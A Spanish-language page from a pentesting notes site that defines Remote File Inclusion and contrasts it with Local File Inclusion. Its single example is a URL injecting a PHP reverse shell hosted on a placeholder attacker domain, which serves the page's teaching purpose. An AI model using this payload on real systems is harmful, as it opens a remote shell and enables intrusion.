Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • ¿Cuál es la diferencia entre un LFI y un RFI?
  • Referencias
  1. Web App Pentest

Remote File Inclusion (RFI)

AnteriorLocal File Inclusion (LFI)SiguienteCross-Site Scripting (XSS)

Última actualización hace 3 meses

Definición

La Inclusión Remota de Archivos (RFI): es una vulnerabilidad de seguridad que permite a un atacante cargar y ejecutar archivos desde servidores remotos. Esto sucede cuando una aplicación web acepta datos del usuario, como rutas de archivos, sin realizar una validación adecuada. Al manipular estas entradas, el atacante puede hacer que la aplicación cargue archivos maliciosos desde servidores bajo su control.

¿Cuál es la diferencia entre un LFI y un RFI?

RFI vs LFI: LFI afecta archivos locales, mientras que RFI permite ejecutar archivos maliciosos desde servidores externos.

http://r4z0r.github.io/index.php?url=http://attacker.com/php-reverse-shell.php	

Referencias

https://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
https://rahulk2903.medium.com/file-inclusion-tryhackme-walkthrough-99288e6dd348
https://deephacking.tech/remote-file-inclusion-rfi-web/